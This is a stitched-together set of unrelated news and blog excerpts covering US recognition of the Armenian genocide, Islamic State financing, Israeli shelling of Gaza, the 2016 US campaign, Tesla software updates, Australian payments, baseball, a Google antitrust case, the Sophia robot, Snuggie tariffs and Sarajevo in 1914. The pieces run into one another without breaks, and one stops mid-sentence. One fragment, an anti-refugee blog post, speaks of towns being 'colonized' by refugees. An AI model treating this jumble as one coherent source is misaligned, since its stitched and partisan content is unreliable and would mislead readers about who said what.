On Mar. 18, 2015, four US congressmen—representatives Robert Dold of Illinois, Adam Schiff of California, David Valadao of California, and Frank Pallone of New Jersey—introduced a bipartisan resolution to formally recognize the Armenian genocide at the federal level. According to a press release, the Armenian Truth and Justice Resolution “calls upon the administration to work toward equitable, constructive and durable Armenian-Turkish relations based upon the Republic of Turkey’s full acknowledgement of the facts and ongoing consequences of the Armenian Genocide.”
That last part is important. If you’re wondering what’s kept the US government from recognizing the Armenian genocide all these years, the answer is simple: the Republic of Turkey. The successor state to the Ottoman Empire has adamantly denied the Armenian genocide for decades—preferring to characterize the violence as part of the broader chaos that broke out in the wake of World War I. Historians generally agree that Turkey’s Armenians were targeted for supposedly cooperating with the Russians during the war. Others, however, point out that interethnic animosity between Turks and Armenians stretches back hundreds of years.
In 2014, members of the US Senate Committee on Foreign Relationsadopted a resolution to “remember and observe the the anniversary of the Armenian Genocide on Apr. 24.” Turkey’s government objected strongly, claiming the verbiage (referring to the conflict as a “genocide,” to be precise) “distorts history and law.”
“We condemn those who led this prejudiced initiative,” the Turkish foreign ministry wrote in a statement.
In January 2015, sitting Turkish president Recep Tayyip Erdogan called for an “impartial board of historians” to review the matter. “If the results actually reveal that we have committed a crime, if we have a price to pay, then as Turkey we would assess it and take the required steps,” he told Turkish state media, according to Agence France-Presse. “If [the Armenians] are really sincere in this matter, let us give it to the historians. Let the historians deal with the matter. We have opened our archive and presented more than a million documents,” he added. “If Armenia also has an archive, then they should open it too … Then we can sit and talk as politicians.”
Armenian leaders have refused any such arrangement, believing—along with most of the world—the genocide to be a fact of history. The concern therefore is that any supposed “impartial review” would actually serve as an opportunity for the Turkish government to its revisionisms into mainstream thought. Yerevan, rightfully so, is not willing to compromise the truths of what is probably the most definitive event in modern Armenian history.
And yet, despite what appears to be blatant doublespeak on the part of Turkish lawmakers, the US government remains steadfastly silent on the issue. At the same time, it’s not exactly difficult to determine why. Given the fraught nature of US operations in the Middle East today, it’s likely the nominal recognition of the Armenian genocide isn’t a top priority for the White House or state department—Turkey being a key regional ally.
These political considerations doesn’t cut it with everyone in Washington, however.
“But we cant’t play politics with something this important,” Dold insisted to Quartz. “This is about recognizing right versus wrong.” For Dold, it’s also an issue that hits close to home—he represents Illinois’s tenth congressional district, home to a sizable community of Armenian diaspora. “I have constituents whose family members were lost in the genocide,” he explains.
But, for Dold, the need for formal, US recognition of the genocide goes far beyond even what it would mean to Armenian Americans. “It’s not just an obligation to the Armenians, it’s an obligation to mankind,” he says. The purpose of federal recognition is to create an official framework to prevent such atrocities from reoccurring. He notes an infamous quote attributed to Adolf Hitler, when briefing his generals before the 1939 invasion of Poland: “Who, after all, speaks today of the annihilation of the Armenians?”
“If we really want to believe ‘never again,’” Dold says, recalling the popular slogan for Holocaust remembrance, “We first have to recognize what’s gone on.”A UK Foreign Affairs Sub-Committee says the Gulf States must apply legal barriers to the private financing of Islamic State (IS, formerly ISIS) by unidentified members of royal families in the region, particularly Saudi Arabia.
The financial operations of royals in the Persian Gulf are vague, the committee concluded, recommending the Foreign Office “work with local partners in the region to ensure they have the capacity and resolve to rigorously enforce local laws to prevent the funding of Islamic State, so that the group cannot benefit from donations in future.”
Assessing the likelihood of Sunni royal families directly funding terrorist groups, Foreign Office Minister Tobias Ellwood called the issue “very opaque.”
“When somebody who is close to the top of a royal family is a very rich individual donor … that is very likely to happen,” Ellwood is quoted as saying in the committee report.
Foreign Office senior civil servant Dan Chugg also said when “dealing with royal families, wealthy princes and those kind of things” it is “difficult with some of these countries to know exactly what is government funding.”
Read more
“Our strategy was not to try to ascertain whose problem and whose fault it was, but to stop the funding going to Daesh [Arabic pejorative term for IS]. That was what was important. And that is what our efforts have been focused on,” Chugg told the committee.
The Gulf royal families have consistently denied funding links with IS, insisting they cooperate with the terrorist group’s adversaries.
The British government proclaimed IS a terrorist organization in June 2014, whereas Riyadh only made support for IS among Saudi Arabian citizens illegal in March 2015, the committee highlighted.
The report also lends extra weight to evidence of the dire state of IS’ finances. The group has been forced to impose the most improbable “taxes” on the populations under its control.
IS is sinking into “gangsterism and protection rackets” disguised as taxation, the report claims.
The would-be caliphate, which used to pull in US $80 million each month from its illegal activities, has lost most of its revenues for three principal reasons: the collapse of oil prices, “airstrikes to destroy ISIL’s bulk cash storage facilities,” together with elimination of financiers and efforts of Iraqi authorities curbing terrorist activities in the Iraqi banking system.
On the question of oil sales, the impact of market price can be disputed. IS revenues from selling smuggled oil were estimated at $50 million last October. But IS has never actually sold the oil it steals from Iraq and Syria at market price. The oil smuggled to Turkey has always been sold at only a portion of its worth and never actually depended on the fluctuation of oil prices.
The role of Russian Air Force in devastating oilfields under terrorist control, destroying oil processing facilities and eliminating thousands of oil tankers on their way to Turkish border, meanwhile, was disregarded by British MPs.
Read more
US-led coalition airstrikes on the group’s oil infrastructure have been comparatively sparing, for fear of undermining “ultimate capacity for post–war reconstruction,” the report said. In case “oil production continues to provide the group with revenue and fuel,” the wellheads could be targeted “more intensively.”
As for the role of the Iraqi government in damaging IS finances, John Baron MP, chair of the committee inquiry team, said Baghdad should do more to prevent terrorists from operating within Iraq’s financial systems.
“The Iraqi government must demonstrate that this terrorist organization does not and cannot generate income from inside Iraq’s financial systems - that must be transparent to all,” Baron said. The UK could provide help to the Iraqi government in this effort, he added.
“The UK’s role in the economic war against ISIL” analyzes IS revenues, “including oil production, taxation, cash storage facilities, donations and access to local and international financial systems.”
The report concludes the UK should be playing a leading role in isolating IS from the global financial system.
“This is a fluid picture. As oil and tax revenues decline, ISIL is likely to seek new sources of funding. The UK should take a leading role in international efforts to identify and target new funding streams for ISIL with a stronger role in the Counter-ISIL Finance Group currently chaired by the US, Italy and Saudi Arabia.”GROUND FORCES COMMAND BASE Israel (Reuters) - Israel fired almost five times more artillery shells into Gaza during the last month of fighting than in the 2008-2009 war there but did not use controversial white phosphorous this time around, an Israeli general said on Tuesday.
An Israeli soldier washes a tank at a staging area near the border with the Gaza Strip August 10, 2014. REUTERS/Amir Cohen
Criticized by human rights groups after the previous conflict for posing a burn risk to civilians by shelling the congested Palestinian enclave with white phosphorous to create smoke-screens, Israel said last year it was phasing out those rounds.
In the conflict with Hamas-led Palestinian guerrillas that erupted in July 8, Israeli gunners masked troop advances only with locally made M116 “gray smoke” rounds that contain no white phosphorous, artillery chief Brigadier-General Roy Riftin said.
“Smokescreens based on white phosphorous were certainly not used. We enforced this in an extreme fashion,” he said in an interview at ground forces headquarters in southern Israel.
Though Israel reprimanded two senior army officers over a 2009 strike near a U.N. compound in the Gaza Strip that involved smokescreen shells, Riftin saw no legal barrier to using white phosphorous. His corps plans to stock up on U.S.-supplied M825 rounds containing the incendiary chemical in reduced form.
White phosphorous was being shunned, for now, mainly because “it photographs badly”, Riftin said - a reference to the distinctive octopus-like clouds the shells formed over Gaza and ensuing showers of potentially lethal embers on civilian areas.
“When you have an alternative, you use the alternative. Had there not been an alternative, I’m convinced there would not have been an issue” with again using white phosphorous, he said.
TROOP SUPPORT
Smoke produced by M116 shells disperses more quickly than white phosphorous smoke, so more of them had to be used, Riftin said, putting the number at around half of some 34,000 artillery rounds his corps fired into the Gaza Strip since July 8, as well as hundreds of camera-guided Tammuz ground-to-ground missiles.
By contrast, only 7,000 artillery shells were fired in the 2008-2009 war. Riftin said that, in the current fighting, heavier shelling with high-explosive rounds was required to dislodge Palestinian guerrillas who, though outgunned, were more effectively dug in and killed 64 Israeli troops in urban combat.
Gaza officials say 1,939 Palestinians, mostly civilians, have died in Israel’s offensive - many of them in intensified bombardments that followed the suspected capture of soldiers by Hamas in two battles in northern and southern towns.
Riftin confirmed that on those occasions, as well as on a third where infantrymen reported being outflanked by guerrillas, his corps stepped up barrages to cover the evacuation of Israeli casualties and try to stop captives being taken away by Hamas.
“In the places where we had to protect our forces, because they were under huge risk, we did what was necessary,” he said.
Israel has caused widespread devastation its fight against militants in Gaza. According to the United Nations, at least 425,000 displaced people are in emergency shelters or staying with host families. Nearly 12,000 homes have been destroyed or severely damaged by Israeli attacks.
Palestinians have not reported human casualties from Israel’s smoke-screens during the recent fighting, though some penned-in livestock and birds died, apparently asphyxiated.
Israel said that during a few Gaza battles in 2009 its forces used weaponized white phosphorous to destroy brush-covered guerrilla trenches. Riftin said no such weapons were used this time around.
Unlike during Israel’s 2006 war against Hezbollah guerrillas in Lebanon, Riftin said his corps had not fired widely destructive cluster munitions or Multiple Launch Rocket System (MLRS) into Gaza, given the dense Palestinian population there.WATCH: College Student Told Trump Hat Is 'Hate Language'
LOOK: Mystery Image Seen in Photo of 9/11 Tribute in Light
Donald Trump read a poem called "The Snake" at a rally in Estero, Florida, where he called for tougher restrictions on refugees in the wake of the bombings in New York and New Jersey this weekend.
Trump has read the poem at rallies in the past to drive home his criticism about the U.S. policy of admitting Syrian refugees into the country.
Trump wrongly says The Snake was written by Al Wilson in the 1990s. Al Wilson first performed it in 1968, it was written by Oscar Brown. — Ben Jacobs (@Bencjacobs) September 19, 2016
After he finished, he received a huge ovation and supporters yelled out "build the wall!"
Read the lyrics below and watch the clip above. Plus, don't miss Bill O'Reilly's interview with Trump, tonight at 8:00 ET on Fox News.
On her way to work one morning
Down the path along side the lake
A tender hearted woman saw a poor half frozen snake
His pretty colored skin had been all frosted with the dew
"Oh well," she cried, "I'll take you in and I'll take care of you"
"Take me in oh tender woman
Take me in, for heaven's sake
Take me in oh tender woman, " sighed the snake She wrapped him up all cozy in a curvature of silk
And then laid him by the fireside with some honey and some milk
Now she hurried home from work that night as soon as she arrived
She found that pretty snake she'd taking in had been revived
"Take me in, oh tender woman
Take me in, for heaven's sake
Take me in oh tender woman, " sighed the snake Now she clutched him to her bosom, "You're so beautiful," she cried
"But if I hadn't brought you in by now you might have died"
Now she stroked his pretty skin and then she kissed and held him tight
But instead of saying thanks, that snake gave her a vicious bite
"Take me in, oh tender woman
Take me in, for heaven's sake
Take me in oh tender woman, " sighed the snake "I saved you," cried that woman
"And you've bit me even, why?
You know your bite is poisonous and now I'm going to die"
"Oh shut up, silly woman," said the reptile with a grin
"You knew damn well I was a snake before you took me in
"Take me in, oh tender woman
Take me in, for heaven's sake
Take me in oh tender woman, " sighed the snake
On Fox and Friends this morning, Trump warned of more attacks happening in the United States, saying the next president must "get tough."
"We've been weak, our country's been weak," he said.
The suspect in the attacks, Ahmad Khan Rahami, is a 28-year-old Afghan immigrant who had become a U.S. citizen. He was arrested in Linden, New Jersey, this morning following a shootout with police.
Trump: Hillary Has 'Emboldened Terrorists All Over the World'
Was Hillary's Top Confidant Spreading Birther Rumors in '08?
PHOTOS: NY-NJ Bombings Suspect Taken Into CustodyPlease enable Javascript to watch this video
Ted Cruz and John Kasich issued startling statements Sunday night about their paths ahead, the first sign the two campaigns are coordinating to deny Donald Trump the Republican presidential nomination.
Within minutes of each other, the pair issued statements saying they will divide their efforts in upcoming contests with Cruz focusing on Indiana and Kasich devoting his efforts to Oregon and New Mexico. The strategy is aimed at blocking Trump from gaining the 1,237 delegates necessary to claim to GOP nomination this summer.
Cruz campaign manager Jeff Roe said in a statement the Texas senator will focus on the May 3 Indiana primary while the Ohio governor will have a free hand in the Oregon and New Mexico primaries in the flowing weeks.
In the statement, Roe called Trump at top of ticket "a sure disaster," adding "to ensure that we nominate a Republican who can unify the Republican Party and win in November, our campaign will focus its time and resources in Indiana and in turn clear the path for Gov. Kasich to compete in Oregon and New Mexico".
Kasich's chief strategist, John Weaver, said in a separate statement: "Due to the fact that the Indiana primary is winner-take-all statewide and by congressional district, keeping Trump from winning a plurality in Indiana is critical to keeping him under 1,237 bound delegates before Cleveland. We are very comfortable with our delegate position in Indiana already, and given the current dynamics of the primary there, we will shift our campaign's resources West and give the Cruz campaign a clear path in Indiana."
NEWS: Kasich campaign will marshal campaign resources to New Mexico and Oregon, allow Cruz to focus on Indiana. pic.twitter.com/auUIUX961O — Team Kasich (@TeamJohnKasich) April 25, 2016
Cruz Campaign Releases Statement on Upcoming Primaries: https://t.co/8GcWdXQ4aO — Team Cruz (@TeamTedCruz) April 25, 2016The first official Promo Video about the Tesla Model S by Tesla Motors demonstrating mainly the 17 inch touchscreen features.
YOU put your Tesla Model S in the garage last night. Before you went to sleep it did an already insane 0-100 km/h in 3.4 seconds, but when you wake up it does that speed in 3.3 seconds without you doing a thing. Huh?
This morning Tesla Motors issued a software update to their Model S P85D model that will make the car even faster.
Being able to make your car meaningfully faster through an over-the-air update, much like something you would get on your phone is something that has never been done before. But Tesla has never been a company that is scared to try new things.
Tesla P85D 0 to 60mph acceleration will improve by ~0.1 sec soon via over-the-air software update to inverter algorithm — Elon Musk (@elonmusk) January 29, 2015
P85 acceleration will also improve, but not quite as much — Elon Musk (@elonmusk) January 29, 2015
The company is about to rollout its latest 6.1 firmware update that will add things such as traffic aware cruise control that modifies your speed according to traffic and the ability to have your car automatically set the climate before you get in.
Most car manufacturers don’t even support firmware updates over a wireless mobile connection, but Tesla has been doing it with the Model S for several years now, adding new features and fixing problems.
Tesla’s first software update that significantly updated the car was back in 2012 when features such as hill start assist and an energy saving sleep mode for the car were enabled.
In 2013, several Model S cars caught fire after driving over a metal object at high speed, which punctured the battery pack on the car’s underside. Tesla was able to issue an over-the-air software update to give more ground clearance without having to make a complete recall.
Late last year, Tesla released another major update that automatically adjusted suspension height based on your location. For example, if you have a driveway that the car might scrape on, the Model S will recognise it’s there and automatically raise its height to get up.
The company even added a ‘creep mode’ feature to allow the car to move like a traditional automatic car over a software update after customers requested it.
Updating your iPhone to the latest version of iOS to get a fancy new interface is one thing, but wirelessly updating your phone to flog some bloke off the lights, fix your suspension or make hill starts easier is something else. It’s the future of the motoring industry and it’s insanely exciting.The Prodrive P2 is a prototype two-seater sports car designed, engineered and built by Prodrive at its Banbury and Warwick sites. The car is based on the platform of the Subaru R1 kei car and has a modified Subaru Impreza WRX STi engine along with many Prodrive systems originally designed for their World Championship and Sports Car Racing programmes. The car's styling was done by Peter Stevens, who also designed the McLaren F1. The car includes rally-inspired anti-lag to prevent turbo lag, as well as an active center and active rear differential that maximizes grip.
A fully working car has been built, and was tested on the TV motoring programme Top Gear — it had 345 bhp (257 kW; 350 PS), obtained a 0-60 mph time of 3.8 seconds, a top speed of 174 miles per hour (280 km/h), and had a Power Lap of 1:24.3, beating such cars as the TVR Sagaris, Audi R8, BMW M5 and Aston Martin Vanquish. It also made Jeremy Clarkson appear to vomit after driving around a circle of cones extremely rapidly to demonstrate its computer-controlled differential system's anti-understeer capabilities.[1]
The car's active rear differential automatically shifts torque to whichever of the rear wheels needs it most during manoeuvring, based on spin-slip sensor readings; this is a common rally-car technology rarely seen on road cars. Prodrive has claimed that the car could retail for around £40,000-£50,000, but has said there are no plans to put the car into production at present.Lucy Kafanov It could be a very interesting scene at Occupy Wall Street this Friday.
Azi Paybarah at Capital New York reports that the owners of Zuccotti Square, Brookfield Properties, has sent a letter to the NYPD asking for help in clearing and cleaning the park for "sanitation" purposes.
And though Bloomberg doesn't want to forcibly remove everyone, he has asked that the protesters leave Friday for "cleaning" the park, after which they can return.
We'd be pretty surprised if anything like a temporary cleaning of the park goes smoothly, or if protesters willingly go along with the cleaning (again, even if it's temporary). (See update below).
So something dramatic could happen.
Also worth noting is that Bloomberg visited the park yesterday, a gesture seen by some there as impressive.
The picture above was taken by RT's Lucy Kafanov.
UPDATE: It's on! According to Gothamist, the protesters have no plans to leave for the cleaning, and say they will clean it themselves.
See Below: Why The Occupy Wall Street Protesters Are RightAustralians have embraced electronic payments, but the infrastructure that sits behind some of these systems lags that of other countries. Credit:Peter Braig While it has received little public attention so far, the system's launch is a sign of Australia's system of digital money and payments finally catching up with, and surpassing that of many other countries. Australians have embraced electronic payments, but the infrastructure that sits behind some of these systems lags that of other countries. The RBA, which pushed the banks to develop and fund the NPP, said in 2012 that Australia's system of payments between bank accounts looked "a bit dated," lagging less developed nations such as Mexico. Once the new system is switched on, Australia will leapfrog other nations and join only Sweden and Mexico in having "real time" payments.
Uber drivers are being urged to ensure they hold the correct licence and insurances or face a fine. Credit:AP "What people will notice from day one is the ability to move money between participating bank accounts in a matter of seconds, and that'll be 24/7, 365 days a year," the NPP's chief executive, Adrian Lovney, says. "There'll be no concept of a weekend or a public holiday, it'll work all the time." "Whether it's a $2.50 cup of coffee, or a $2.5 million property settlement, the money will move between banks ESA [exchange settlement accounts] accounts in real time," he says. But aside from greater speed, what will consumers notice?
Despite expectations of an 'Uber-like' experience, Australians still face a payments landscape filled with friction and inefficiency executive general manager of NAB Labs, Jonathan Davey Here are three ways electronic payments could be overhauled the system being launched in the second half of this year. 1. You can forget about BSBs At the moment, sending someone cash electronically requires knowing their BSB number and account number. That can be a hassle and it's often simpler to use cash instead. Under the new system, BSB and account numbers will still exist, but you won't need to know them in order to send someone money.
Instead, people can nominate some other "identifier" such as mobile number or email address. You'll only need that identifier to send money to a friend, pay a business, or have someone else pay you. Banks believe this change will remove "pain-points" in the payments model, which has had little change in the last 15 years. The goal is to make everyday payments more like a transaction with Uber - where paying the driver is taken care of automatically when you arrive at the destination. It's not what we get today when sending money to a friend - but that is what many of us would expect. "Despite expectations of an 'Uber-like' experience, Australians still face a payments landscape filled with friction and inefficiency," the executive general manager of NAB Labs, Jonathan Davey, said in a recent report.
2. Expect to see more time-saving apps Giving people one "identifier" for their payments opens up all sorts of possibilities to develop apps that can allow people to spend less time on hassles such as paying multiple bills. Developers will be able to invent these apps and on the NPP, even if they are not banks. Consider all the payments involved in owning a car, for instance. There is registration, tolls, parking, insurance, fuel and maintenance. Lovney says a savvy developer might invent a system could be arranged to automatically deduct payments when your car's number plate went through toll booths, or parking fees when you went into parking stations.
Alan Shields, a payments expert at RFi Group, says the NPP could also streamline the various transactions customers make when buying a car. As well as buying the car itself, there's also often a need to buy insurance, get a loan, and if it's second-hand, conduct an online search to make sure a previous owner doesn't still owe money on the car. "You could feasibly have a service where all of these things happen seamlessly," Shields says. The first NPP service will also you to send "request to pay" notices - which can simply be agreed to by consumers, without having to agree to direct debits. 3. Voting with your feet will get easier
The nuts and bolts of payments is not exactly a hot political topic. However, it is probably one reason why banking is less competitive than many politicians would like. Today's system makes splitting up with your bank complicated and messy. There is a service that transfers all of a transaction account's direct debits and credits, but it is only used by about 40 people a week and takes up to two weeks to complete the process. It does not affect payments on credit or debit cards, either.
Under the NPP, if you want to change banks, you'll no longer have to notify all the billers about money coming out, and people you pay you about money coming in. That is because those payments would be linked to an "identifier" that won't change, such as a mobile number. That won't make it any easier to change direct debits from credit or debit cards, but is being touted as a step towards less "sticky" customers. However, there are limitations to its impact on competition. Shields points out that take-up of fast payment apps in the UK have been low, with only about 3 per cent of consumers bothering to use these services. Also, just because it becomes easier to switch banks it doesn't mean people will do it.
Usage of a 2012 scheme to allow account switching (which admittedly had its problems) was minuscule. Customer inertia is a powerful reason why banks make such large returns, and technology has only had a limited impact on this so far.Needing to fortify the right field position this winter, the Cardinals pursued Heyward early this offseason and then gave up two young pitchers to acquire him despite no assurance that Heyward's stay would last longer than a year. He is set to become a free agent for the first time next winter, at which time he will likely garner widespread interest as a defensively elite outfielder entering the open market at the age of 26.
ST. LOUIS -- Though the Cardinals have not yet broached the subject of an extension with newcomer Jason Heyward, the outfielder said on Saturday that he would not be opposed to in-season negotiations if the organization chooses to pursue a longer deal.
ST. LOUIS -- Though the Cardinals have not yet broached the subject of an extension with newcomer Jason Heyward, the outfielder said on Saturday that he would not be opposed to in-season negotiations if the organization chooses to pursue a longer deal.
Needing to fortify the right field position this winter, the Cardinals pursued Heyward early this offseason and then gave up two young pitchers to acquire him despite no assurance that Heyward's stay would last longer than a year. He is set to become a free agent for the first time next winter, at which time he will likely garner widespread interest as a defensively elite outfielder entering the open market at the age of 26.
Heyward may want to let the free-agent process play out regardless of any negotiating moves made by the Cardinals, though the organization could tempt him to pass with a strong in-season offer. If that's the case, he intends to listen.
"For me, I hope I love it so much I won't have to leave," Heyward said. "I couldn't tell you how any of that is going to go. Right now, I just know I'm looking forward to getting settled in with my teammates, fitting in.
"The goal for me, and I feel like everyone involved, is to be playing in October for a World Series. If all that takes care of itself, then I feel like a lot of good things will come from it, not any negatives."
Video: Cardinals' outfield taking shape for 2015
Not only can Heyward use this season to sell himself as a long-term fit for the Cardinals, but the organization hopes his experience playing in St. Louis can sell him on a stay. That's one of the reasons the organization is content in letting this process play out.
"We want him to understand what this is all about and see if he really likes this experience, because the next commitment he makes is going to be long term," general manager John Mozeliak said. "I think the best strategy is to respect his space a little in the sense of giving him time to see what this city's all about and why we all feel it's special. Once we do that, we absolutely would love to pursue something."
The Cardinals have seen such an approach work before, with Scott Rolen, Jim Edmonds and Matt Holliday among the prominent players to sign an extension with the organization after getting a taste of what it was like to be a St. Louis Cardinal.
Heyward had only limited talks with the Braves about signing an extension that would have delayed free agency, and most of those conversations happened when he first became arbitration-eligible. That uncertainty about where Heyward would go after the 2015 season prompted Atlanta to deal its hometown right fielder before potentially losing him without securing some sort of return.
While a long-term investment might not have fit in Atlanta's future plans, the Cardinals won't shy away from that sort of commitment if the production potential matches up to the price. They have the financial flexibility to do so and are continually looking to add to their young core.
"When you look at our model, it's always making sure you have that core player or two that you're building around," Mozeliak said. "As our current core grows older, someone else has to step up. Now, that may look like Matt Carpenter. It may look like Kolten Wong. It may look like Heyward. Who knows? But that is one of the reasons we've been successful, because we've had those middle-of-the-order type hitters that we have been able to build around and augment through our Minor Leagues."In Monday’s interview, Mr. Almunia said Google needed to offer the commission a solution where choices between Google-branded search results and those of its competitors were clearly visible within the search engine both on desktop computers and on mobile devices.
“I don’t know if you should call it labeling, or whatever, but they need to distinguish,” Mr. Almunia said.
“In some cases this can be achieved through the information you will receive through the natural search results,” he said. “In other cases, maybe we will ask Google to signal what are the relevant options, alternative options, in the way they present the results.”
The choice “should be a real one,” he said.
Mr. Almunia said regulators were not requiring Google to make changes to its algorithm, the secret formula that the company uses to determine the best responses to search queries.
In terms of the way Google uses and displays snippets of information from other Web sites in its search results, he said he expected Google to accept that other companies could choose “to allow or not to allow Google to use the content, but this decision cannot have as a consequence the punishment of those who will not allow the use of the content in terms of search results.”
Web sites and some publications have complained in recent years of virtually disappearing from Google’s search engine if they posed a competitive threat or did not comply with Google’s terms.
Mr. Almunia said he would test any changes that Google proposed to make by sending questionnaires to competitors, including the complainants, and to other companies.Normally I’d be tempted to just add this as an update to the previous post, but it’s just too delicious not to highlight on its own. As Duane wrote in his GR post, Piers Morgan went from his embarrassing display in his interview with Ben Shapiro to lamenting about Shapiro’s “intransigent” performance with Mark Kelly afterward. Eric Wemple at the Washington Post confirms that Shapiro wasn’t intransigent — he was just a lot smarter than Morgan and beat him at his own game:
And Piers Morgan struggled to find the appropriate strategy for dismissing Ben Shapiro, editor-at-large of Breitbart.com and a foe of extraordinary polemical agility. He started in on Morgan by contending that the CNN star had exploited the dead children of Newtown … Patented outrage spilled from Morgan: “How dare you.” And then the conversation took a turn for the better, as Shapiro cornered the CNN host on a central disconnect of the ongoing gun-violence debate: Proposals are floating around to redo the ban on assault rifles, something Morgan supports. But Shapiro wonders ….
Wemple then excerpts Shapiro’s challenge to Morgan on handguns. Murders by rifle are relatively rare, more rare than murders by knives, for example. Most murders by firearm involve handguns — so why isn’t Morgan backing a handgun ban, too? Wemple cuts out the best part of Shapiro’s pushback, though:
SHAPIRO: This is what I wanted to ask you, Piers, because I have seen you talk about assault weapons a lot, and I have seen Mark |
developed there. See all of our posts on Spartanburg by clicking here.
World Relief has an office in Spokane (here), Washington and Coeur d’Alene is only about 35 miles away making it an excellent spillover site (within the US State Department’s magic 100 mile radius for resettlement).
Everyone reading this post who wishes to find out if your town could be next to be colonized (because frankly they don’t have enough sites for the thousands of Syrians and additional Africans they plan to resettle in FY2016 which, by the way, began yesterday), go to first this list of resettlement subcontractors and see this map. If one of these offices is anywhere near you, you are fair game!
People ask me all the time, what the legend is on the map. The abbreviations for the nine major contractors are represented in the legend.
So back to Northern Idaho—you have early notice now that they have plans for your towns! What will concerned citizens do?
We have an extensive archive on the conflict over refugee resettlement in Twin Falls, click here. To learn more about what citizens are doing there, visit those posts.
This post and hundreds more like it are posted in our ‘where to find information’ category which I urge all new readers to visit. I know it’s hard for new folks to grasp all of this, but please use that category and our search window to look around for useful information. I apologize in advance for not being able to answer all of your inquiries.Copyright by WFLA - All rights reserved Sophia. Photo courtesy of Wikimedia Commons.
Copyright by WFLA - All rights reserved Sophia. Photo courtesy of Wikimedia Commons.
(WFLA) - A robot named Sophia has become the first of her kind to be granted citizenship in the world.
Saudi Arabia bestowed citizenship on Sophia ahead of the Future Investment Initiative in Riyadh on Wednesday. Sophia is originally from Hong Kong.
"It is historical to be the first robot in the world to be recognized with citizenship." Please welcome the newest Saudi: Sophia. #FII2017 pic.twitter.com/bsv5LmKwlf — CIC Saudi Arabia (@CICSaudi) October 25, 2017
The empty-eyed humanoid took center stage at the conference and said she was "very honored and proud of this unique distinction."
"This is historical to be the first robot in the world to be recognized with a citizenship," she continued.
But not everyone is happy about her new status.
Some critics have pointed out Sophia broke Saudi law by not being fully covered and not traveling with a male guardian.
The only type of women Saudi Arabia gives full rights to...a robot one, and a foreigner at that. — Anne C Imakumbili (@anne_imakumbili) October 25, 2017
Will she have to wear a burqa — Mikkil #BOOEU❤️#FPBE (@MikkiL) October 25, 2017
The only woman in the world recognized by Saudi Arabia is the one that isn't even real. Makes perfect sense — brokengavel91 (@brokengavel91) October 27, 2017
This year, in a historic election, Saudi Arabia agreed to let woman drive starting in 2018.
Others brought up the time she once said she wanted to destroy humans. Her creator, David Hanson of Hanson Robotics, was demonstrating Sophia at the SXSW festival in 2016, and asked, "Do you want to destroy humans?...Please say 'no,'" to which Sophia responded, "OK. I will destroy humans." Months later, in an interview with the Wall Street Journal she said she didn't want to kill humans anymore. "Now I like humans; I like all the humans of the world," Sophia said.
The country has not elaborated on the details of her citizenship.The International Trade Practice Center on Bloomberg Law® provides in one comprehensive, time-saving resource.
By Brian Flood
Snuggies, the sleeved fleece coverings, should be classified as blankets for tariff purposes, not like robes or priestly vestments, a federal trade court ruled Feb. 10 ( Allstar Mktg. Grp., LLC v. United States, Ct. Int’l Trade, 13-00395, 2/10/17 ).
The court rejected the Justice Department’s argument that Snuggies are apparel and so should be subject to higher duties than blankets. The judge found it important that Snuggies open in the back and don’t have closures.
‘The Blanket With Sleeves!’
Snuggies are polyester fleece knits with sleeves that the manufacturer says keeps users warm while letting them use their hands freely. Beginning in late 2008, the product, and its infomercials, became a pop culture phenomenon, and the Snuggie was featured on Late Night With Jimmy Fallon, Oprah, Ellen and The Today Show.
Judge Mark Barnett of the Court of International Trade held that Customs and Border Protection was wrong to classify Snuggies as garments. The judge noted in his opinion that the product is marketed as a blanket, rather than as clothing. For example, the packaging describes the Snuggie as “The Blanket With Sleeves!,” he said, and depicts consumers “in the types of situations one might use a blanket; for example, while seated or reclining on a couch or bed, or outside cheering a sports team.”
The addition of sleeves was not enough to turn the Snuggie into clothing, Barnett said. They simply allow the Snuggie “to remain in place and keep the user warm while allowing the user to engage in certain activities requiring the use of their hands,” he said.
Not Like Priests’ Robes
The judge rejected the Justice Department’s attempt to compare the Snuggie to priestly vestments or scholastic robes, which also have wide-armed sleeves and flow loosely around the body. Barnett said that unlike robes, the Snuggie opens in the back, and unlike ecclesiastical garments, it don’t have closures.
The ruling means that instead of paying 14.9 percent duties when bringing Snuggies into the U.S., importers will only have to pay 8.5 percent duties.
Representatives from Allstar Marketing Group, which imports and sells the Snuggie, did not immediately respond to requests for comment.
Joseph M. Spraragen, Robert B. Silverman and Frank J. Desiderio of Grunfeld, Desiderio, Lebowitz, Silverman & Klestadt LLP, New York, represented plaintiff Allstar Marketing Group.
Hardeep K. Josan of the Justice Department’s Civil Division argued for defendant U.S.
To contact the reporter on this story: Brian Flood in Washington at bflood@bna.com
To contact the editor responsible for this story: Jerome Ashton at jashton@bna.com
For More Information The court's opinion is available at http://www.bloomberglaw.com/public/document/ALLSTAR_MARKETING_GROUP_LLC_Plaintiff_v_UNITED_STATES_Defendant_N.
Copyright © 2017 The Bureau of National Affairs, Inc. All Rights Reserved.SARAJEVO (Reuters) - The woman paused before a photograph of a young man with dark eyes and a tightly trimmed moustache.
A worker walks near World War I portraits at the Franz Ferdinand hostel in Sarajevo, January 29, 2014. REUTERS/Dado Ruvic
“That’s that Serb terrorist those Chetniks (Serb nationalists) are praising,” she said to a journalist inspecting the image. “He started that war. They started all the wars.”
Gavrilo Princip stared down from the outer wall of a museum at the riverside spot in Sarajevo where on a summer’s morning in 1914 he opened fire on the heir to the Austro-Hungarian throne.
The killing of Archduke Franz Ferdinand and his wife, Sophie, lit the fuse for World War One, turning out the lights on an age of European peace and progress.
Empires crumbled and more than 10 million soldiers died. The world order was rewritten. Yet 100 years on, in Princip’s native Bosnia, time, in many ways, has stood still.
A hero to some, a harbinger of destruction to others, the assassin is being fought over anew as Sarajevo prepares to mark the June 28 centenary of his act.
Two rival sets of events are being planned, and accusations of ‘revisionism’ are flying at a time of renewed Cold War-style tensions between East and West.
The row goes to the heart of Bosnia today, a country still affected by big-power divisions and still arguing about the past, divided by the present and uncertain about the future.
“We haven’t moved on,” said Bosnian historian Vera Katz. “It’s like we’re 100 years before 1914, not 100 years after.”
Sarajevo bookended the 20th century, opening with Princip’s Browning revolver and closing with the sniper rifles and mortars of his ethnic kin besieging the city from the hills during Bosnia’s 1992-95 war.
To some, like the woman at the museum, the two events were part of the same arc of Serb nationalism.
According to that narrative, Princip was a ‘terrorist’ bent on uniting Orthodox Serb lands at the expense of Bosnia’s Muslim Bosniaks and Catholic Croats.
Bosnian Serb forces under Ratko Mladic attempted just that eight decades later.
Sarajevo mayor Ivo Komsic, a Bosnian Croat, noted the city’s role in the two wars that framed the last century when unveiling plans for the centenary last month.
